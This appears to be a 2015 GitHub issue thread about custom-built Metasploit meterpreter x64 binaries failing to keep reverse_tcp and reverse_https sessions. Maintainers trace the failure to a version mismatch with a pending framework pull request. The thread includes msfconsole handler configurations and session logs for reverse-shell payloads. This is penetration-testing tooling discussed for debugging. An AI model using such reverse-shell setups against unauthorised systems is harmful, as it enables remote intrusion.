Broken meterpreter build

[rwhitcroft]

Can't get any sessions after building latest meterpreter. Affects x64/meterp/rev_tcp and x64/meterp/rev_https so far, haven't tested others.

1. Clone fresh copies of metasploit-framework and meterpreter
2. Build meterpreter with make.bat, build succeeds
3. Copy VS's output/x64/* to $MSFBASE/data/meterpreter/
4. Create EXEs with msfvenom
5. Run EXEs on Win 8.1 x64, acquire sadness

Everything works fine if I omit step 3.

Here's x64/meterp/rev_tcp. Tried removing handler cert, same thing.

[*] Processing /home/rw/.msf4/scripts/rtcp64.rc for ERB directives.
resource (/home/rw/.msf4/scripts/rtcp64.rc)> use exploit/multi/handler
resource (/home/rw/.msf4/scripts/rtcp64.rc)> set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
resource (/home/rw/.msf4/scripts/rtcp64.rc)> set LHOST 12.34.56.78
LHOST => 12.34.56.78
resource (/home/rw/.msf4/scripts/rtcp64.rc)> set LPORT 443
LPORT => 443
resource (/home/rw/.msf4/scripts/rtcp64.rc)> set ExitOnSession false
ExitOnSession => false
resource (/home/rw/.msf4/scripts/rtcp64.rc)> set EnableStageEncoding false
EnableStageEncoding => false
resource (/home/rw/.msf4/scripts/rtcp64.rc)> set HandlerSSLCert /home/rw/.msf4/msf.pem
HandlerSSLCert => /home/rw/.msf4/msf.pem
resource (/home/rw/.msf4/scripts/rtcp64.rc)> exploit -j
[*] Exploit running as background job.

[*] Started reverse handler on 12.34.56.78:443 
msf exploit(handler) > [*] Starting the payload handler...
[*] Sending stage (1100800 bytes) to 12.34.56.1
[*] Meterpreter session 1 opened (12.34.56.78:443 -> 12.34.56.1:58322) at 2015-04-30 15:36:24 -0400
[-] Failed to load extension: SSL_write: bad write retry
[*] 12.34.56.1 - Meterpreter session 1 closed.  Reason: Died
[-] Failed to load extension: closed stream

Here's x64/meterp/rev_https. Session comes in but doesn't establish properly. Also tried with no cert.

[*] Processing /home/rw/.msf4/scripts/rhttps64.rc for ERB directives.
resource (/home/rw/.msf4/scripts/rhttps64.rc)> use exploit/multi/handler
resource (/home/rw/.msf4/scripts/rhttps64.rc)> set PAYLOAD windows/x64/meterpreter/reverse_https
PAYLOAD => windows/x64/meterpreter/reverse_https
resource (/home/rw/.msf4/scripts/rhttps64.rc)> set LHOST 12.34.56.78
LHOST => 12.34.56.78
resource (/home/rw/.msf4/scripts/rhttps64.rc)> set LPORT 443
LPORT => 443
resource (/home/rw/.msf4/scripts/rhttps64.rc)> set ExitOnSession false
ExitOnSession => false
resource (/home/rw/.msf4/scripts/rhttps64.rc)> set EnableStageEncoding false
EnableStageEncoding => false
resource (/home/rw/.msf4/scripts/rhttps64.rc)> exploit -j
[*] Exploit running as background job.

[*] Started HTTPS reverse handler on https://0.0.0.0:443/
[*] Starting the payload handler...
msf exploit(handler) >
[*] 12.34.56.1:56050 (UUID: 7a2352d7b5da2701/x86_64=2/windows=1/2015-04-30T19:39:02Z) Staging Native payload ...
[*] Meterpreter session 1 opened (12.34.56.78:443 -> 12.34.56.1:56050) at 2015-04-30 15:39:02 -0400

(a few seconds later...)

msf exploit(handler) > sessions 

Active sessions
===============

  Id  Type                   Information  Connection
  --  ----                   -----------  ----------
  1   meterpreter x64/win64               12.34.56.78:443 -> 12.34.56.1:56050 (12.34.56.1)

[OJ]

Latest HEAD in master for meterpreter won't work with the current HEAD in master for metasploit-framework. Those binaries require the connection recovery work that's in an outstanding PR.

[OJ]

I was AFK at the time of writing my previous comment, sorry for it being short.

As discussed in https://github.com/rapid7/meterpreter/pull/151 (which has now been landed) the binaries require work that has been done in https://github.com/rapid7/metasploit-framework/pull/5214. If the framework side isn't up to date, then your sessions won't work.

We're in the process of getting the last bits and pieces sorted out for this. Please forgive us while we have a bit of turbulence here! There are lots of big changes coming down the pipe. Thanks.

[Meatballs1]

Is it worthwhile having a commit listed in the README which is compatible with the latest MSF version?

[OJ]

That's a good idea. We definitely need done kind of visible indication somewhere.